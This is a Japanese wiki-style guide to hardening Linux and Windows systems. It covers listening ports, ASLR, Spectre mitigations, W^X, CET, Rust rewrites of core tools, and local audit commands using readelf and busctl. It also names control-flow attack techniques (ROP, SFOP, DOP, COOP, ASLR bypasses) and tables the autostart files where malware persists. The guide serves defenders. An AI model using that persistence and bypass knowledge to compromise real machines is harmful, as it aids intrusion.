| rowspan=2 | 51413/TCP || rowspan=2 | Transmission&lt;wbr&gt;{{efn|BitTorrentプロトコル。TransmissionをベースとするFragmentsも同ポートを使用します。}} || transmission-daemon || transmission-daemon.service || transmission-daemon ||
|-
| transmission-gtk || &lt;code&gt;transmission-gtk&lt;/code&gt; || transmission-gtk ||
|-
| 5001/TCP&lt;br&gt;5001/UDP || rowspan=2|  ネットワークパフォーマンス計測 || iperf || &lt;code&gt;iperf -s&lt;/code&gt; || iperf || &lt;code&gt;iperf -c localhost&lt;/code&gt;
|-
| 5021/TCP&lt;br&gt;5021/UDP || iperf3 || &lt;code&gt;iperf3 -s&lt;/code&gt; || iperf3 || &lt;code&gt;iperf3 -c localhost&lt;/code&gt;
|-
| 1716/UDP&lt;br&gt;1716/TCP&lt;br&gt;ユーザーポート/UDP || スマートフォン連携 (KDE) || kdeconnectd || &lt;code&gt;kdeconnect-app&lt;/code&gt; || kdeconnect ||
|-
| ユーザーポート/TCP || Claude Proxy Service || code{{efn|[[:w:Visual Studio Code|Visual Studio Code]]のプロセス。}} || &lt;code&gt;code&lt;/code&gt; || code (公式APTリポジトリ) || 
&lt;!--
|-
|  || AI コーディング支援 (Google Antigravity CLI{{efn|Command Line Interface}}) || agy || || (Visal Studio Code拡張) || 
--&gt;
|-
| rowspan=2 | 3389/TCP&lt;br&gt;3389/UDP || rowspan=2 | Remote Desktop Protocol || gnome-remote-desktop-daemon{{efn|GNOME Remote Desktop}} || gnome-remote-desktop.service&lt;!-- (system)--&gt;&lt;br&gt;gnome-remote-desktop.service (user)&lt;br&gt;gnome-remote-desktop-headless.service (user) || gnome-remote-desktop || 
|-
| krdpserver || app-org.kde.krdpserver.service (user) || krdp || 
|-
| 47984/TCP&lt;br&gt;47989/TCP&lt;br&gt;48010/TCP&lt;br&gt;47998–48010/UDP || NVIDIA GameStream || sunshine ||  app-dev.&lt;wbr&gt;lizardbyte.&lt;wbr&gt;app.&lt;wbr&gt;Sunshine.service (user) || sunshine (公式debファイル) ||  (moonlight-qt)
|-
| 27031-27036/UDP&lt;br&gt;27036/TCP || Steam Remote Play&lt;ref&gt;[https://help.steampowered.com/ja/faqs/view/2EA8-4D75-DA21-31EB Steam接続に必要なポート] Valve&lt;/ref&gt; || steam || &lt;code&gt;steam&lt;/code&gt; || steam (公式APTリポジトリ) || 
|-
| 1900/UDP || UPnP{{efn|パケットフィルタと共に使用して要求に従ってポートマッピングする。}} || miniupnpd || miniupnpd.service || miniupnpd-nftables&lt;br&gt;miniupnpd-iptables ||
|}

なおUPnPのポートは外側に解放しないようにしましょう。また内側にだけ解放した場合も内側に侵害された機器が存在する場合に危険となるのでVLANでネットワークを分けるなどを心がけましょう。

また外側に開いてるポートはランダム割り当てされないように sysctl の &lt;code&gt;net.ipv4.ip_local_reserved_ports&lt;/code&gt; で予約しておきましょう。この設定を永続化するには /etc/sysctl.d/99-local-ports.conf あたりに&lt;code&gt;net.ipv4.ip_local_reserved_ports=a,b,c&lt;/code&gt;{{efn|ダブルクォーテーションで囲むと「無効な引数です」のエラーになるので注意してください。}}と記述すれば OK です。設定を直ぐに反映するには&lt;code&gt;sudo sysctl --system&lt;/code&gt;を実行しましょう。

&lt;!--TODO: CUPS、Postfix、Samba、Wsdd--&gt;

=== Unix Domain経由のサービス ===
Unix Domainでのポート待ち受けのあるプロセスを見るには &lt;code&gt;sudo ss -xlp&lt;/code&gt; を実行しましょう。


=== dbus経由のサービス ===
システムバスは &lt;code&gt;busctl --system list&lt;/code&gt;、セッションバスは &lt;code&gt;busctl --user list&lt;/code&gt; で確認することができます。

それらを提供する実行中のプロセスの一覧は以下で取得できます:
* システムバスを提供するプロセス: &lt;code&gt;busctl --system --no-pager | awk 'NR&gt;1 &amp;&amp; $2 ~ /^[0-9]+$/ {print $2}' | xargs -I {} readlink &quot;/proc/{}/exe&quot; | sort -u&lt;/code&gt;
* ユーザーバスを提供するプロセス: &lt;code&gt;busctl --user --no-pager | awk 'NR&gt;1 &amp;&amp; $2 ~ /^[0-9]+$/ {print $2}' | xargs -I {} readlink &quot;/proc/{}/exe&quot; | sort -u&lt;/code&gt;

dbusサービスの一部はプロセス未実行のアクティベータブル (activatable) な状態で提供されています。アクティベータブルな状態で提供するサービスの実行コマンドは以下で取得できます:
*  activatableなシステムバスの実行コマンド: &lt;code&gt;busctl --system --no-pager --activatable | awk '{print $1}' | xargs -I {} find /usr/share/dbus-1 -name &quot;{}.service&quot; | xargs grep -h &quot;Exec=&quot; | sed 's/Exec=//g' | sort -u&lt;/code&gt;
*  activatableなユーザーバスの実行コマンド: &lt;code&gt;busctl --user --no-pager --activatable | awk '{print $1}' | xargs -I {} find /usr/share/dbus-1 -name &quot;{}.service&quot; | xargs grep -h &quot;Exec=&quot; | sed 's/Exec=//g' | sort -u&lt;/code&gt;

== 潜在的な脆弱性を減らす ==
現代のプログラムでは以下のような保護が行われています。

=== メモリアドレスの推測困難化 === 
攻撃に必要なコード片（ガジェット）のメモリアドレスを推測しにくくするために、カーネル空間、ユーザー空間の両方で[[:w:アドレス空間配置のランダム化|アドレス空間配置のランダム化]]（ASLR）が行われています。カーネル空間の ASLR は KASLR (Kernel ASLR) とも呼ばれています。

ユーザー空間のプログラムで ASLR を有効にするためには[[:w:位置独立コード|位置独立コード]] (PIC) / 位置独立実行形式 (PIE) である必要があります。Unix で使われる実行形式の ELF では位置独立実行形式が ET_DYN、非位置独立実行形式 (non-PIE) が ET_EXEC となります。

Linuxでは ASLR が無効となる非位置独立実行形式のファイルを以下で検索することができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # 非位置独立実行形式 (non-PIE) のバイナリを検索
$ find / -type f -executable 2&gt;/dev/null | xargs -I {} sh -c 'LANG=C readelf -h {} 2&gt;/dev/null | grep -E &quot;Type:.*EXEC&quot; &gt;/dev/null &amp;&amp; echo {}'
/usr/lib/default.sfx
/usr/lib/klibc/bin/mkfifo
/usr/lib/klibc/bin/zcat
/usr/lib/klibc/bin/poweroff
[...]
$ # 非位置独立実行形式 (non-PIE) のバイナリを含むDebianパッケージを検索
$ find / -type f -executable 2&gt;/dev/null | xargs -I {} sh -c 'LANG=C readelf -h {} 2&gt;/dev/null | grep -E &quot;Type:.*EXEC&quot; &gt;/dev/null &amp;&amp; echo {}' | xargs -r -d '\n' -n1 dpkg-query -S | sed 's/: .*//' | sort -u
aidl
busybox-static
code
cpp-15-x86-64-linux-gnu
cuda-gdb-13-4
cuda-nvcc-13-4
cuda-sanitizer-13-4
cuda-tileiras-13-4
debugedit
g++-15-x86-64-linux-gnu
gcc-15-x86-64-linux-gnu
gcc-mingw-w64-i686-posix
gdc-15-x86-64-linux-gnu
gds-tools-13-4
gfortran-15-x86-64-linux-gnu
gh
git-lfs
gobjc-15-x86-64-linux-gnu
gocryptfs
golang-1.26-go
go-md2man
go-mtpfs
[...]
&lt;/syntaxhighlight&gt;

現在のLinuxカーネルがユーザー空間 ASLR を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sysctl kernel.randomize_va_space # 0=無し、1=部分的、2=完全
kernel.randomize_va_space = 2
&lt;/syntaxhighlight&gt;

また現在のLinuxカーネルがカーネル ASLR (KASLR) を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep 'CONFIG_RANDOMIZE_BASE' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_RANDOMIZE_BASE=y
&lt;/syntaxhighlight&gt;

なお ASLR は間接的な関数呼び出し（ C++ の vtable を含む）があると、そのアドレスから ASLR のオフセットがバレてしまい突破されてしまいます。

また CPU の[[:w:投機的実行|投機的実行]]での情報漏れ (Spectre) による[[:w:キャッシュ攻撃|キャッシュサイドチャネル攻撃]]（後述）の一つである「投機的探査」 (BlindSide) によってもコードの位置情報の取得がされ ASLR が突破されてしまいます。

=== 投機的実行の情報漏れ防止 ===
前述のとおり、投機的実行による情報漏れ (Spectre) は攻撃に繋がります。Spectre には境界チェックを迂回する Spectre V1 と間接分岐の分岐先アドレスのキャッシュ{{efn|分岐先バッファ (Branch Target Buffer、BTB)や分岐先アドレスキャッシュ (Branch Target Address Cache、BTAC) と呼ばれる。}}を汚染する Spectre V2 が存在します。&lt;!--TODO: Spectre v3/v4、Zenbleed--&gt;

Spectre V1 を防ぐ方法としては投機的実行を阻害するための命令（x86ではLFENCE）の挿入{{efn|Linuxカーネルでの投機的実行の防止は&lt;code&gt;barrier_nospec()&lt;/code&gt;。}}やアクセスできるアドレス範囲を狭めることが行われています{{efn|GCCでの投機的実行での範囲外アクセス防止は&lt;code&gt;__builtin_speculation_safe_value(...)&lt;/code&gt;、Linuxカーネルでの投機的実行での範囲外アクセス防止は&lt;code&gt;array_index_nospec(...)&lt;/code&gt;&lt;ref&gt;[https://lwn.net/Articles/759423/ Spectre V1 defense in GCC] LWN 2018年7月10日&lt;/ref&gt;。}}。

また Spectre V2 では攻撃を防ぎながらも速度を落とさない方法として脆弱な分岐先アドレスキャッシュに依存する間接分岐の代わりにリターンアドレスのキャッシュ{{efn|リターンスタックバッファ (RSB) と呼ばれる。}}に依存するリターン命令を使う retpoline が登場しました。しかしながらこの retpoline でも速度の低下は起こるため、既知の間接呼び出しを条件分岐 + 直接呼び出しに変換して高速化する手法が模索されました。LLVM では retpoline を有効にする &lt;code&gt;-mretpoline&lt;/code&gt;フラグの処理内に既知の仮想関数呼び出しを[[:w:二分木|二分木]]の直接分岐に置き換える「分岐ファネル」(Branch funnel) が導入されています&lt;ref&gt;[https://reviews.llvm.org/D42453 Use branch funnels for virtual calls when retpoline mitigation is enabled.] LLVM project&lt;/ref&gt;。また Linux カーネルでも既知の間接呼び出しを条件分岐 + 直接呼び出しに変換する INDIRECT_CALL_* マクロが搭載されています&lt;ref&gt;[https://lwn.net/Articles/774743/ Relief for retpoline pain] LWN 2018年12月14日&lt;/ref&gt;。&lt;!--TODO: Intel CETのSHSTKとretpolineの衝突--&gt;

一方、リターン命令の投機的実行も「Retbleed」や AMD CPU における「投機的リターンスタックオーバーフロー」 (SRSO){{efn|Speculative Return Stack Overflow。}}のような脆弱性が見つかっています。

なお低権限コードから高権限コードへの権限境界をまたいだ Spectre および Retbleed は Intel の「間接分岐制限付き投機」(IBRS){{efn|Indirect Branch Restricted Speculation。}}およびそれを高速化した「拡張IBRS」(eIBRS) などハードウェア側によって塞がれました&lt;ref&gt;[https://www.intel.com/content/www/us/en/developer/articles/technical/software-security-guidance/technical-documentation/hardware-behavior-related-to-speculative-execution.html Hardware Features and Behavior Related to Speculative Execution] Intel 2026年10月14日&lt;/ref&gt;が、権限境界をまたがないものは今も可能となっています。

=== メモリにおける書き込みと実行の排他化 (W^X) ===
メモリでは書き込み可能領域の実行不可化 ([[:w:NXビット|NXビット]]) と実行可能領域の書き込み不可化による書き込みと実行の排他化（[[:w:en:W^X|W^X]]）が一般的となっています。NXビットは x86 では NXビットは AMD64 と共に搭載された古い機能であるため、今時の CPU と OS は基本的にこれに対応しています。

現在の CPU がNXビットを有効にしているかはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '^flags' /proc/cpuinfo | grep -o nx
nx
nx
[...]
&lt;/syntaxhighlight&gt;

現在のLinuxカーネルが厳格な W^X を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '_RWX' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y
CONFIG_STRICT_KERNEL_RWX=y
CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y
CONFIG_STRICT_MODULE_RWX=y
&lt;/syntaxhighlight&gt;

しかしながら書き込みと実行の排他の原則を破ってそれらを同時に行える場所というものも存在しています。読み込み・書き込み・実行が可能なことから「RWXセクション」と呼ばれています。Windows ではメモリページの PAGE_EXECUTE_READWRITE フラグがこれに相当します&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows/win32/memory/memory-protection-constants メモリ保護定数] メモリ保護定数 (WinNT.h) - Win32 apps | Microsoft Learn&lt;/ref&gt;。

Windows のカーネルドライバでは NX フラグの使用が義務付けられています&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-hardware/test/hlk/testref/driver-compatibility-with-device-guard メモリ整合性と VBS とのドライバ互換性] Microsoft&lt;/ref&gt;が、その Windows カーネルにおいても PatchGuard の領域がコード難読化のためにこの原則を破っています。&lt;!--TODO: ホットパッチ--&gt;

また Linux でも実行可能領域を書き込み可能ページとして割り当てて書き込む text_poke 関数が用意されています。

=== 制御フローの操作を防ぐ (CET)  ===
現代では「[[:w:Return-oriented programming|リターン指向プログラミング]]」(ROP)、「呼び出し指向プログラミング」 (COP)、「ジャンプ指向プログラミング」(JOP) 、「[[:en:Sigreturn-oriented programming|Sigreturn指向プログラミング]]」(SROP) などの制御フロー操作による攻撃が一般化していますが、これを防ぐ技術として「[[:w:en:Control-flow integrity#Intel Control-flow Enforcement Technology|制御フロー強制テクノロジー]]」(CET) の「[[:w:en:Indirect branch tracking|間接分岐追跡]]」(IBT) と「[[:w:en:Shadow stack|シャドウスタック]]」(SHSTK) が存在します。

制御フロー強制は比較的新しい技術であるため、対応する CPU は以下に限られます:
* Intel Core (Tiger Lake) 第11世代以降
* AMD Zen 3 以降（シャドウスタックのみ）

現在の CPU が間接分岐追跡 (IBT)  およびシャドウスタックに対応しているかはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '^flags' /proc/cpuinfo | grep -oE '(ibt|shstk)'
shstk
ibt
shstk
ibt
[...]
&lt;/syntaxhighlight&gt;

またユーザーランドのシャドウスタックの使用にはユーザーランドだけでなくカーネルの対応も必要となります。Linux カーネル では 6.6 以降対応でこれに対応しています（sigreturnにも対応&lt;ref&gt;[https://github.com/torvalds/linux/commit/05e36022c0543ba55a3de55af455b00cb3eb4fcc x86/shstk: Handle signals for shadow stack · torvalds/linux@05e3602] GitHub 2023年8月3日&lt;/ref&gt;）。 Linuxディストリビューションでは Ubuntu 24.04以降、 Red Hat Enterprise Linux 9.7 以降&lt;ref&gt;[https://docs.redhat.com/ja/documentation/red_hat_enterprise_linux/9/html/9.7_release_notes/new-features-kernel 4.8. カーネル - 9.7 リリースノート - Red Hat Enterprise Linux - 9 - Red Hat Documentation] Red Hat&lt;/ref&gt;が標準でシャドウスタックを有効としています。

現在のLinuxカーネルがユーザーランドの間接分岐追跡およびシャドウスタックを有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep -E '_(IBT|SHADOW_STACK)' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_CC_HAS_IBT=y
# CONFIG_X86_KERNEL_IBT is not set
CONFIG_X86_USER_SHADOW_STACK=y
CONFIG_X86_DISABLED_FEATURE_IBT=y
CONFIG_ARCH_HAS_USER_SHADOW_STACK=y
&lt;/syntaxhighlight&gt;

現在のユーザーランドプログラムの中で間接分岐追跡またはシャドウスタックが無効化されているものはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # 間接分岐追跡またはシャドウスタックが無効化されているバイナリを検索
$ find / -type f 2&gt;/dev/null | xargs -I {} sh -c 'readelf -h &quot;{}&quot; &gt;/dev/null 2&gt;&amp;1 &amp;&amp; (readelf -n &quot;{}&quot; 2&gt;/dev/null | grep -E IBT,.*SHSTK &gt; /dev/null || echo &quot;{}&quot;)'
/usr/lib/lv2/carla.lv2/carla.so
/usr/lib/7zip/7z
/usr/lib/7zip/7zCon.sfx
/usr/lib/7zip/7zr
/usr/lib/7zip/7z.so
/usr/lib/7zip/7za
/usr/lib/klibc/bin/ipconfig
/usr/lib/klibc/bin/umount
/usr/lib/klibc/bin/halt
[...]
$ # 間接分岐追跡またはシャドウスタックが無効化されているバイナリを含むDebianパッケージを検索
$ find / -type f 2&gt;/dev/null | xargs -I {} sh -c 'readelf -h &quot;{}&quot; &gt;/dev/null 2&gt;&amp;1 &amp;&amp; (readelf -n &quot;{}&quot; 2&gt;/dev/null | grep -E IBT,.*SHSTK &gt; /dev/null || echo &quot;{}&quot;)' | xargs -r -d '\n' -n1 dpkg-query -S | sed 's/: .*//' | sort -u
7zip
aidl
ardour
avr-libc
cargo-1.93
carla
carla-bridge-wine32:i386
carla-bridge-wine64
carla-lv2
carla-vst
cuda-ctadvisor-13-4
cuda-cudart-13-4
[...]
&lt;/syntaxhighlight&gt;

一方、Linuxカーネルのカーネル側のシャドウスタック対応は2026年現在まだ開発中となっています (x86 Kernel Shadow Stacksパッチシリーズ)&lt;ref&gt;[https://www.phoronix.com/news/Linux-Kernel-Shadow-Stacks x86 Kernel Shadow Stacks Being Worked On For Linux As Powerful Control Flow Protection] Phoronix 2026年10月22日&lt;/ref&gt;。

なお、制御フロー強制テクノロジーの間接分岐追跡とシャドウスタックが有効であっても異なる関数の通常呼び出しは防げません。分かりやすい例では関数の間接呼び出しにおいて関数ポインタを&lt;code&gt;sigaction&lt;/code&gt;へと変更して独自のシグナルハンドラを登録し、その後クラッシュさせてそのシグナルハンドラを呼び出すという「セグメンテーション違反指向プログラミング」(SFOP) が挙げられます。また攻撃に使える関数 (dop gadgets) {{efn|dop gadgetsの検索の公式実装は「DOP-StaticAssist」[https://github.com/melynx/DOP-StaticAssist]だが長らく更新されておらず古いLLVM 3.5に依存している状態となっている。}}の通常呼び出しだけで攻撃する「Data-Oriented Programming」(DOP) &lt;ref&gt;Hong Hu et al. [https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;arnumber=7546545 Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks] IEEE 2016年&lt;/ref&gt;{{efn|セキュリティ以外の文脈におけるデータ指向プログラミング、データ指向設計、データ駆動型設計とは異なる。}}という手法も存在します。

C++向けでは仮想関数テーブル (vtable) を改ざんして攻撃に使える仮想関数（仮想関数ガジェット、vfgadget）を呼び出す「偽造オブジェクト指向プログラミング」(COOP) という攻撃手法も登場しています。

=== メモリ安全性の高いソフトウェアへ ===
既存のソフトウェアの脆弱性は7割がメモリ安全性の問題に起因すると言われています&lt;ref&gt;[https://www.cisa.gov/sites/default/files/2023-12/CSAC_TAC_Recommendations-Memory-Safety_Final_20231205_508.pdf REPORT TO THE CISA DIRECTOR Technical Advisory Council Memory Safety] サイバーセキュリティ諮問委員会 (CSAC) 2023年12月5日&lt;/ref&gt;。しかしながら[[C言語]]や[[C++]]はメモリ安全性が低いため、メモリ安全性の確保できる[[Rust]]などで書かれた代替プログラムが登場しています:
{| class=&quot;wikitable&quot;
|+ コマンドのRust版
|-
! コマンドの概要 !! 従来版 !! Rust版
|-
| Unix系の基本コマンド群 || GNU Core Utilities || '''uutils coreutils'''
|-
| ファイル検索コマンド群{{efn|&lt;code&gt;find&lt;/code&gt;、&lt;code&gt;locate&lt;/code&gt;、&lt;code&gt;updatedb&lt;/code&gt;、&lt;code&gt;xargs&lt;/code&gt;の4コマンド}} || GNU Findutils || '''uutils findutils'''
|-
| ファイル差分コマンド群{{efn|&lt;code&gt;diff&lt;/code&gt;、&lt;code&gt;cmp&lt;/code&gt;、&lt;code&gt;diff3&lt;/code&gt;、&lt;code&gt;sdiff&lt;/code&gt;の4コマンド}} || GNU Diffutils || '''uutils diffutils'''
|-
| ストリームエディタ (sed) || GNU sed / FreeBSD sed || '''uutils sed'''
|-
| AWKスクリプト || GNU AWK || '''uutils AWK'''
|-
| 文字列検索 || GNU Grep || '''uutils Grep'''
|-
| tarアーカイブ || GNU Tar || '''uutils tar'''
|-
| アカウント管理コマンド群 || shadow-utils || '''uutils shadow-utils'''
|-
| アクセス制御コマンド群{{efn|&lt;code&gt;chacl&lt;/code&gt;、&lt;code&gt;getfacl&lt;/code&gt;、&lt;code&gt;setfacl&lt;/code&gt;の3コマンド}} || acl || '''uutils acl'''
|-
| procfs{{efn|プロセスファイルシステム}}表示コマンド群 || procps / procps-ng || '''uutils procps'''
|-
| ホスト名管理コマンド群{{efn|&lt;code&gt;hostname&lt;/code&gt;、&lt;code&gt;dnsdomainname&lt;/code&gt;、&lt;code&gt;domainname&lt;/code&gt;、&lt;code&gt;nisdomainname&lt;/code&gt;、&lt;code&gt;ypdomainname&lt;/code&gt;の5コマンド。}} || hostname || '''uutils hostname'''
|-
| Linuxユーティリティ || util-linux || '''uutils util-linux'''
|- 
| 権限昇格 || sudo || '''sudo-rs'''
|-
| 暗号・署名システム || GnuPG || '''Sequoia PGP'''
|-
| 時刻同期 || ntpd || '''ntpd-rs'''
|-
| セキュアシェル (SSH) || OpenSSH || '''russh'''
|}

これらのRustで書かれたコマンドのうちuutils coreutilsとsudo-rsはUbuntuに採用されています。

またライブラリでもRustだけ (Pure Rust) で実装されたものが登場しています:
* 画像ライブラリ - これらは例えばGNOMEデスクトップ環境の画像ローダーGlycinから使われています&lt;ref&gt;[https://gitlab.gnome.org/GNOME/glycin GNOME / glycin · GitLab] GNOME Project&lt;/ref&gt;。
** libpng → pngクレート - PNG画像向け。
** libgif → gifクレート - GIF画像向け。
** libjpeg / libjpeg-turbo → zune-jpeg / libjpeg-turbo-rs - JPEG画像向け。
** OpenJPEG → hayro-jpeg2000 - JPEG 2000画像向け。
** libtiff → tiffクレート - Tiff画像向け
** libwebp → image-webpクレート - WebP画像向け。
** libraw → libopenraw - RAW画像向け。
** librsvg - SVG画像向け。C言語からRustに書き直しされました。
* 圧縮ライブラリ
** zlib / zlib-ng → zlib-rs - Deflate圧縮向け
** libbzip2 → bzip2-rs - BZ2圧縮向け
* 暗号化ライブラリ
** OpenSSL / GnuTLS → [[:w:en:Rustls|Rustls]]
* Unicode処理ライブラリ
** ICU4C → ICU4X
* テキスト整形ライブラリ
** HarfBuzz → HarfRust
* ブラウザエンジン
** Blink/Gecko → Servo

&lt;!--
=== 整合性チェック ===
PatchGuard / HyperGuard
--&gt;

== 不審な改変が行われていないかを調べる ==
例えばOSの起動には一連のシーケンスがありますが、マルウェアは基本的にここの途中に入り込んで永続化します。

{| class=&quot;wikitable&quot;
|+ 起動シーケンス
|-
! 種類 || Windows 11以降 !! Linux (Gnome) !! Linux (KDE)
|-
| 1. 起動ファームウェア || [[:w:Unified Extensible Firmware Interface|UEFI]] || colspan=2 | [[:w:Basic Input/Output System|レガシーBIOS]] / UEFI
|-
| 2. ブートローダー || [[:w:Windows Boot Manager|Windows Boot Manager]] (bootmgfw.efi)&lt;br&gt; → [[:w:Windows Boot Manager#winload.exe/winload.efi|Windows OS Loader]] (winload.efi) || colspan=2 | GRUB{{efn|Ubuntuの標準。}} / systemd-boot / Unified Kernel Image{{efn|Linuxカーネルとブートイメージを単一バイナリにする仕組み。}} / EFI boot stub{{efn|LinuxカーネルをEFIから直接ブートできるようにする仕組み。}}
|-
| 3. カーネル || [[:w:ntoskrnl.exe|ntoskrnl.exe]] || colspan=2 | Linuxカーネル ([[:w:vmlinux|vmlinux]]{{efn|圧縮後はvmlinuzとなる。}})
|-
| 4. 初期化プロセス || [[:w:en:Session Manager Subsystem|smss.exe]]&lt;br&gt; → wininit.exe&lt;br&gt; || rowspan=2 colspan=2 | [[:w:systemd|systemd]]{{efn|以前は代替initもよく使われていたが、今はsystemdが標準となっている。}}
|-
| 5. サービスコントロールマネージャ || colspan=2 | [[:w:en:Service Control Manager|services.exe]]
|-
| rowspan=2 | 6. ログインマネージャ || rowspan=2 | [[:w:Winlogon|winlogon.exe]] || colspan=2 | systemd-logind&lt;br&gt;sd-pam
|-
| [[:w:GNOME ディスプレイマネージャー|GDM]] || [[:w:Simple Desktop Display Manager|SDDM]]
|-
| rowspan=2 | 7. ユーザー初期化プロセス || rowspan=2 | userinit.exe || colspan=2 | systemd
|-
| gnome-session || kcminit&lt;br&gt; → plasma_session
|-
| 8. シェル || [[:w:Windows Explorer|explorer.exe]] || gnome-shell || plasmashell
|-
| 9. コンポジタ || [[:w:Desktop Window Manager|dwm.exe]] || mutter || kwin
|}

また起動シーケンス以外にもアップデートシーケンスへの感染やシェル感染、ブラウザ感染もあります。

{| class=&quot;wikitable&quot;
|+ Windows における代表的なユーザースクリプト又はコマンド起動が可能な設定ファイル
|-
! 規格/アプリケーション !! ユーザー !! システム
|-
| Windows || %APPDATA%\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;Start Menu\&lt;wbr&gt;Programs\&lt;wbr&gt;Startup\&lt;wbr&gt;* || C:\&lt;wbr&gt;ProgramData\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;Start Menu\&lt;wbr&gt;Programs\&lt;wbr&gt;Startup\&lt;wbr&gt;*
|-
| [[:w:PowerShell|PowerShell]] プロファイル&lt;ref&gt;[https://learn.microsoft.com/ja-jp/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-7.6 about_Profiles - PowerShell - Microsoft Learn] Microsoft&lt;/ref&gt; || %USERPROFILE%\&lt;wbr&gt;Documents\&lt;wbr&gt;PowerShell\&lt;wbr&gt;Profile.ps1&lt;br&gt;%USERPROFILE%\&lt;wbr&gt;Documents\&lt;wbr&gt;PowerShell\&lt;wbr&gt;Microsoft.PowerShell_profile.ps1 || C:\&lt;wbr&gt;Windows\&lt;wbr&gt;System32\&lt;wbr&gt;WindowsPowerShell\&lt;wbr&gt;*\&lt;wbr&gt;Profile.ps1&lt;br&gt;C:\&lt;wbr&gt;Windows\&lt;wbr&gt;System32\&lt;wbr&gt;WindowsPowerShell\&lt;wbr&gt;*\&lt;wbr&gt;Microsoft.PowerShell_profile.ps1
|}

{| class=&quot;wikitable&quot;
|+ Linux における代表的なユーザースクリプト又はコマンド起動が可能な設定ファイル
|-
! 規格/アプリケーション !! ユーザー !! システム
|-
| POSIX標準 || ~/.profile || /etc/profile
|-
| XDG Base Directory&lt;wbr&gt;標準 || ~/.local/bin/* ||
|-
| FHS{{efn|Filesystem Hierarchy Standard}}&lt;wbr&gt;標準[https://refspecs.linuxfoundation.org/fhs.shtml] || || /bin/* /sbin/* /usr/bin/* /usr/local/bin/* /etc/inittab
|-
| LSB{{efn|Linux Standard Base}}&lt;wbr&gt;標準[https://refspecs.linuxfoundation.org/lsb.shtml] || || /etc/profile.d/* /etc/init.d/* /etc/cron.d/*
|-
| Desktop Application Autostart Specification&lt;wbr&gt;標準[https://specifications.freedesktop.org/autostart/latest/]{{efn|systemd-xdg-autostart-generator が導入されているシステムではこれらがsystemd設定に自動変換される。}} || ~/.config/autostart/* || /etc/xdg/autostart/*
|-
| Bash || ~/.bash_profile ~/.bashrc || /etc/bash_profile /etc/bash.bashrc /etc/bash.bash_logout
|-
| Z shell (Zsh) || ~/.zshenv ~/.zprofile ~/.zshrc ~/.zlogin ~/.zlogout || /etc/zshenv /etc/zprofile /etc/zshrc /etc/zlogin /etc/zlogout&lt;br/&gt;（または /etc/zsh/zshenv /etc/zsh/zprofile /etc/zsh/zshrc /etc/zsh/zlogin /etc/zsh/zlogout）
|-
| Systemd || ~/.config/systemd/user/* || /etc/systemd/system/* /etc/systemd/user/*
|-
| Xorg || ~/.xinitrc ~/.xserverrc ~/.xsession || /etc/X11/xinit/xinitrc /etc/X11/xinit/xserverrc /etc/X11/Xsession /usr/share/xsessions/*
|-
| Wayland ||  || /usr/share/wayland-sessions/*
|-
| Python || ~/.local/lib/python*/site-packages/*/**{{efn|絶対パスは&lt;code&gt;python3 -c 'import site; print(site.getusersitepackages())'&lt;/code&gt;で確認可能。}} || /usr/lib/python*/dist-packages/*/** /usr/local/lib/python*/dist-packages/*/**{{efn|絶対パスは&lt;code&gt;python3 -c 'import site; print(site.getsitepackages())'&lt;/code&gt;で確認可能。}}
|-
| Perl{{efn|Debian/UbuntuではDebianパッケージ設定システム (debconf) のためにPerlを使用している。}} || || /usr/share/perl*/**  /usr/local/share/perl*/** /usr/lib/*/perl*/** /usr/local/lib/*/perl*/**{{efn|絶対パスは&lt;code&gt;perl -V:installsitearch -V:installsitelib -V:installvendorarch -V:installvendorlib -V:archlib -V:privlib -V:installarchlib -V:installprivlib&lt;/code&gt;で確認可能。}}
|}

=== パッケージ管理ファイルを検証する ===
パッケージ管理システムが管理しているファイルではファイルハッシュが保存されているため簡単にその検証を行うことが可能です:
{| class=&quot;wikitable&quot;
|-
! OS / パッケージシステム !! 検証のみ !! 修復
|-
| Windows || &lt;code&gt;sfc&amp;nbsp;/verifyonly&lt;/code&gt; || &lt;code&gt;sfc&amp;nbsp;/scannow&lt;/code&gt;
|-
| Debパッケージ (Debian / Ubuntu) || &lt;code&gt;debsums -s&lt;/code&gt; || &lt;code&gt;apt install --reinstall $(debsums -cs &amp;verbar; xargs -r dpkg-query -S &amp;verbar; cut -d: -f1 &amp;verbar; sort -u)&lt;/code&gt;
|-
| RPMパッケージ (RedHat / Fedora) || &lt;code&gt;rpm -Va&lt;/code&gt; || 
|}

ただしローカルハッシュが改ざんされている可能性もあるため過信はできません。&lt;!--TODO: ローカルハッシュの検証法--&gt;

自動的にシステムの検証を行うシステムも存在します:
* Android - ブロックデバイスレベルでのハッシュ検証 (dm-verityベース)&lt;ref&gt;[https://source.android.com/docs/security/features/verifiedboot/dm-verity?hl=ja dm-verity の実装] Google&lt;/ref&gt;

&lt;!--
またUbuntuのSnapパッケージでもdm-verityの導入が進められています。

また特定言語のパッケージの検証は以下で可能です:
* PIP (Python): なし
--&gt;

=== システム領域に不審なファイルが追加されていないかを調べる ===
